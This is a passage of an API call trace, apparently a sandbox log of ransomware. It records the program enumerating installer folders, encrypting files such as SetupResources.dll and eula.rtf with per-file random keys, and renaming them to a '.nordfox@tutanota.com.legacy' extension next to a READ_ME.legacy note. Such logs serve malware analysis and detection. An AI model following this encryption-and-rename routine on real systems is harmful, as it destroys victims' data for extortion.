cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0105.650] GetLastError () returned 0x0 [0105.650] SetLastError (dwErrCode=0x0) [0105.650] GetLastError () returned 0x0 [0105.650] SetLastError (dwErrCode=0x0) [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0105.651] GetLastError () returned 0x0 [0105.651] SetLastError (dwErrCode=0x0) [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0105.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0105.651] FindNextFileW (in: hFindFile=0x5a0da8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d7d962, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d7d962, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0105.651] GetLastError () returned 0x0 [0105.651] SetLastError (dwErrCode=0x0) [0105.651] GetLastError () returned 0x0 [0105.651] SetLastError (dwErrCode=0x0) [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0105.651] GetLastError () returned 0x0 [0105.651] SetLastError (dwErrCode=0x0) [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0105.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0105.651] FindNextFileW (in: hFindFile=0x5a0da8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0105.651] GetLastError () returned 0x0 [0105.651] SetLastError (dwErrCode=0x0) [0105.651] GetLastError () returned 0x0 [0105.651] SetLastError (dwErrCode=0x0) [0105.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0105.652] GetLastError () returned 0x0 [0105.652] SetLastError (dwErrCode=0x0) [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0105.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0105.652] FindNextFileW (in: hFindFile=0x5a0da8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0105.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.652] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0105.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0105.653] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0105.653] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14168) returned 1 [0105.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3758) returned 0x5c0f88 [0105.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3758) returned 0x5c46e8 [0105.653] ReadFile (in: hFile=0x4e0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x3758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x3758, lpOverlapped=0x0) returned 1 [0105.665] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=-14168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.665] WriteFile (in: hFile=0x4e0, lpBuffer=0x5c46e8*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c46e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3758, lpOverlapped=0x0) returned 1 [0105.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c46e8 | out: hHeap=0x520000) returned 1 [0105.665] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3758 [0105.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.666] WriteFile (in: hFile=0x4e0, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.666] WriteFile (in: hFile=0x4e0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.666] CloseHandle (hObject=0x4e0) returned 1 [0105.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0105.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.666] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0105.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0105.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0105.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0105.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0105.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0105.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0105.668] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0105.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0105.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0105.669] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0105.669] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=60816) returned 1 [0105.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xed90) returned 0x5c0f88 [0105.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xed90) returned 0x2f20048 [0105.671] ReadFile (in: hFile=0x4e0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xed90, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xed90, lpOverlapped=0x0) returned 1 [0105.686] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=-60816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.686] WriteFile (in: hFile=0x4e0, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0xed90, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xed90, lpOverlapped=0x0) returned 1 [0105.687] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.697] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xed90 [0105.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.699] WriteFile (in: hFile=0x4e0, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.699] WriteFile (in: hFile=0x4e0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.699] CloseHandle (hObject=0x4e0) returned 1 [0105.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0105.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0105.700] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0105.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0105.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0105.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0105.737] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0105.738] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0105.738] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x80) returned 1 [0105.738] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0105.738] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.738] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0105.738] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0105.738] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6309) returned 1 [0105.738] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18a5) returned 0x5c0f88 [0105.738] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18a5) returned 0x5c2838 [0105.738] ReadFile (in: hFile=0x4e0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x18a5, lpOverlapped=0x0) returned 1 [0105.751] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=-6309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.751] WriteFile (in: hFile=0x4e0, lpBuffer=0x5c2838*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c2838*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18a5, lpOverlapped=0x0) returned 1 [0105.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c2838 | out: hHeap=0x520000) returned 1 [0105.751] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18a5 [0105.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.752] WriteFile (in: hFile=0x4e0, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.752] WriteFile (in: hFile=0x4e0, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.752] CloseHandle (hObject=0x4e0) returned 1 [0105.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0105.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0105.752] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\3076\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0105.754] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d640 | out: hHeap=0x520000) returned 1 [0105.754] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0aa8 [0105.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.754] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0105.754] GetLastError () returned 0x0 [0105.754] SetLastError (dwErrCode=0x0) [0105.754] GetLastError () returned 0x0 [0105.754] SetLastError (dwErrCode=0x0) [0105.754] GetLastError () returned 0x0 [0105.754] SetLastError (dwErrCode=0x0) [0105.754] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a07e8 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a07e8 | out: hHeap=0x520000) returned 1 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0105.755] FindNextFileW (in: hFindFile=0x5a0aa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0105.755] GetLastError () returned 0x0 [0105.755] SetLastError (dwErrCode=0x0) [0105.755] GetLastError () returned 0x0 [0105.755] SetLastError (dwErrCode=0x0) [0105.755] GetLastError () returned 0x0 [0105.755] SetLastError (dwErrCode=0x0) [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0105.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0105.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0105.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0105.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0105.756] FindNextFileW (in: hFindFile=0x5a0aa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0105.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0105.756] GetLastError () returned 0x0 [0105.756] SetLastError (dwErrCode=0x0) [0105.756] GetLastError () returned 0x0 [0105.756] SetLastError (dwErrCode=0x0) [0105.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0105.756] GetLastError () returned 0x0 [0105.757] SetLastError (dwErrCode=0x0) [0105.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0105.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0105.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0105.757] FindNextFileW (in: hFindFile=0x5a0aa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0105.757] GetLastError () returned 0x0 [0105.757] SetLastError (dwErrCode=0x0) [0105.757] GetLastError () returned 0x0 [0105.757] SetLastError (dwErrCode=0x0) [0105.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0105.758] GetLastError () returned 0x0 [0105.758] SetLastError (dwErrCode=0x0) [0105.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0105.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0105.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0105.758] FindNextFileW (in: hFindFile=0x5a0aa8, 